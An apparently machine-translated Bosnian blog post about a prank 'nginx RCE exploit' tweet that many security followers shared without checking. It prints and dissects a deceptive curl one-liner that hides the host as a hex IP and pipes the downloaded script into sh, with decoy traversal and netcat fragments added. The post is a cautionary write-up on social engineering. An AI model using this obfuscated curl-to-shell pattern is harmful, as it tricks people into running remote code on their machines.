Uspjeh društvenog eksperimenta s lažnim eksploatacijom za nginx

Bilješka. transl.: autor originalna bilješka, objavljena 1. juna, odlučila je provesti eksperiment među zainteresovanima za informacionu sigurnost. Da bi to uradio, pripremio je lažni eksploat za neotkrivenu ranjivost na web serveru i objavio ga na svom Twitteru. Njegove pretpostavke – da ih odmah razotkriju stručnjaci koji bi vidjeli očitu obmanu u kodu – ne samo da se nisu obistinile... Nadmašile su sva očekivanja, iu suprotnom smjeru: tvit je dobio ogromnu podršku brojnih ljudi koji nisu provjerite njegov sadržaj.

Uspjeh društvenog eksperimenta s lažnim eksploatacijom za nginx

TL;DR: Ni pod kojim okolnostima nemojte koristiti dostavljanje datoteka u sh ili bash. Ovo je odličan način da izgubite kontrolu nad računarom.

Želim s vama podijeliti kratku priču o komičnom PoC exploit-u koji je nastao 31. maja. Odmah se pojavio kao odgovor na vijesti iz Alisa Esage Shevchenko, član Inicijativa nula dana (ZDI), ta informacija o ranjivosti u NGINX-u koja vodi do RCE (daljinsko izvršavanje koda) će uskoro biti otkrivena. Budući da NGINX pokreće mnoge web stranice, vijesti su sigurno bile bomba. Ali zbog kašnjenja u procesu “odgovornog otkrivanja”, detalji onoga što se dogodilo nisu bili poznati – ovo je standardna procedura ZDI.

Uspjeh društvenog eksperimenta s lažnim eksploatacijom za nginx
tweet o otkrivanju ranjivosti u NGINX-u

Nakon što sam završio rad na novoj tehnici zamagljivanja u curl-u, citirao sam originalni tweet i „propustio radni PoC“ koji se sastoji od jednog reda koda koji navodno iskorištava otkrivenu ranjivost. Naravno, ovo je bila potpuna glupost. Pretpostavljao sam da ću odmah biti razotkriven i da ću u najboljem slučaju dobiti par retweetova (ma dobro).

Uspjeh društvenog eksperimenta s lažnim eksploatacijom za nginx
tweet sa lažnim eksploatacijom

Međutim, nisam mogao ni zamisliti šta se dalje dogodilo. Popularnost mog tvita je naglo porasla. Iznenađujuće, u ovom trenutku (15:00 po moskovskom vremenu, 1. jun) malo ljudi je shvatilo da je ovo laž. Mnogi ljudi ga retvitiraju bez da ga uopće provjere (a kamoli da se dive lijepoj ASCII grafici koju daje).

Uspjeh društvenog eksperimenta s lažnim eksploatacijom za nginx
Pogledajte samo kako je lepo!

Iako su sve ove petlje i boje sjajne, jasno je da su ljudi morali pokrenuti kod na svojoj mašini da bi ih vidjeli. Srećom, pretraživači funkcionišu na isti način, a u kombinaciji sa činjenicom da zapravo nisam želeo da upadam u pravne probleme, kod zakopan u mojoj veb lokaciji je samo upućivao eho pozive bez pokušaja da instaliram ili izvršim bilo koji dodatni kod.

Mala digresija: netspooky, dnz, ja i ostali momci iz tima Thugcrowd Već neko vrijeme igramo se s različitim načinima da zamaglimo komande curl jer je to super... a mi smo štreberi. netspooky i dnz otkrili su nekoliko novih metoda koje su mi izgledale izuzetno obećavajuće. Pridružio sam se zabavi i pokušao dodati IP decimalne konverzije u vrećicu trikova. Ispostavilo se da se IP također može pretvoriti u heksadecimalni format. Štaviše, curl i većina drugih NIX alata rado jedu heksadecimalne IP adrese! Dakle, bilo je samo pitanje stvaranja uvjerljive komandne linije koja izgleda bezbedno. Na kraju sam se odlučio na ovo:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Društveno-elektronski inženjering (SEE) - više od phishinga

Sigurnost i poznavanje bili su glavni dio ovog eksperimenta. Mislim da su upravo oni doveli do njegovog uspjeha. Komandna linija je jasno implicirala sigurnost pozivajući se na "127.0.0.1" (dobro poznati lokalni host). Localhost se smatra sigurnim i podaci na njemu nikada ne napuštaju vaš računar.

Poznavanje je bila druga ključna komponenta eksperimenta u JIE. Budući da su ciljnu publiku prvenstveno činili ljudi upoznati sa osnovama računarske sigurnosti, bilo je važno kreirati kod tako da dijelovi izgleda poznati i poznati (a samim tim i sigurni). Pozajmljivanje elemenata starih exploit koncepata i njihovo kombiniranje na neobičan način pokazalo se vrlo uspješnim.

Ispod je detaljna analiza jednolinera. Sve na ovoj listi nosi kozmetičke prirode, i praktično ništa nije potrebno za njegov stvarni rad.

Koje komponente su zaista neophodne? Ovo -gsS, -O 0x0238f06a, |sh i sam web server. Web server nije sadržavao nikakva zlonamjerna uputstva, već je jednostavno služio ASCII grafiku koristeći komande echo u skripti sadržanoj u index.html. Kada je korisnik unio red sa |sh u sredini, index.html učitano i izvršeno. Srećom, čuvari web servera nisu imali zle namjere.

  • ../../../%00 — predstavlja izlazak izvan imenika;
  • ngx_stream_module.so — putanja do slučajnog NGINX modula;
  • /bin/sh%00<'protocol:TCP' - navodno lansiramo /bin/sh na ciljnoj mašini i preusmjeriti izlaz na TCP kanal;
  • -O 0x0238f06a#PLToffset - tajni sastojak, dopunjen #PLToffset, da izgleda kao memorijski pomak na neki način sadržan u PLT-u;
  • |sh; - još jedan važan fragment. Trebali smo preusmjeriti izlaz na sh/bash kako bismo izvršili kod koji dolazi sa napadačkog web servera koji se nalazi na 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - lutka u kojoj se netcat odnosi /dev/tcp/localhosttako da sve ponovo izgleda sigurno. U stvari, ne radi ništa i uključen je u liniju za ljepotu.

Ovim se završava dekodiranje skripte u jednom redu i rasprava o aspektima „socio-elektronskog inženjeringa“ (zamršen phishing).

Konfiguracija web servera i protumjere

Pošto su velika većina mojih pretplatnika infosec/hakeri, odlučio sam da web server učinim malo otpornijim na izražavanje “interesa” sa njihove strane, samo da bi momci imali šta da rade (a bilo bi zabavno postaviti). Neću ovdje nabrajati sve zamke jer eksperiment još uvijek traje, ali evo nekoliko stvari koje server radi:

  • Aktivno prati pokušaje distribucije na određenim društvenim mrežama i zamjenjuje razne sličice za pregled kako bi podstakao korisnika da klikne na link.
  • Preusmjerava Chrome/Mozilla/Safari/itd na promotivni video Thugcrowd umjesto da prikazuje shell skriptu.
  • Prati OČITNE znakove upada/očiglednog hakovanja, a zatim počinje preusmjeravati zahtjeve na NSA servere (ha!).
  • Instalira trojanca, kao i BIOS rootkit, na sve računare čiji korisnici posećuju host iz običnog pretraživača (šalim se!).

Uspjeh društvenog eksperimenta s lažnim eksploatacijom za nginx
Mali dio antimera

U ovom slučaju, moj jedini cilj je bio da savladam neke od karakteristika Apache-a - posebno, cool pravila za preusmeravanje zahteva - i pomislio sam: zašto da ne?

NGINX eksploatacija (stvarno!)

Pretplatite se na @alisaesage na Twitteru i pratite ZDI-jev sjajan rad na rješavanju vrlo stvarnih ranjivosti i mogućnosti eksploatacije u NGINX-u. Njihov rad me je oduvijek fascinirao i zahvalan sam Alice na strpljenju sa svim spominjanjima i obavještenjima koje je izazvao moj glupi tvit. Srećom, i to je učinilo nešto dobro: pomoglo je u podizanju svijesti o ranjivosti NGINX-a, kao i problemima uzrokovanim zloupotrebom curl-a.

izvor: www.habr.com

Dodajte komentar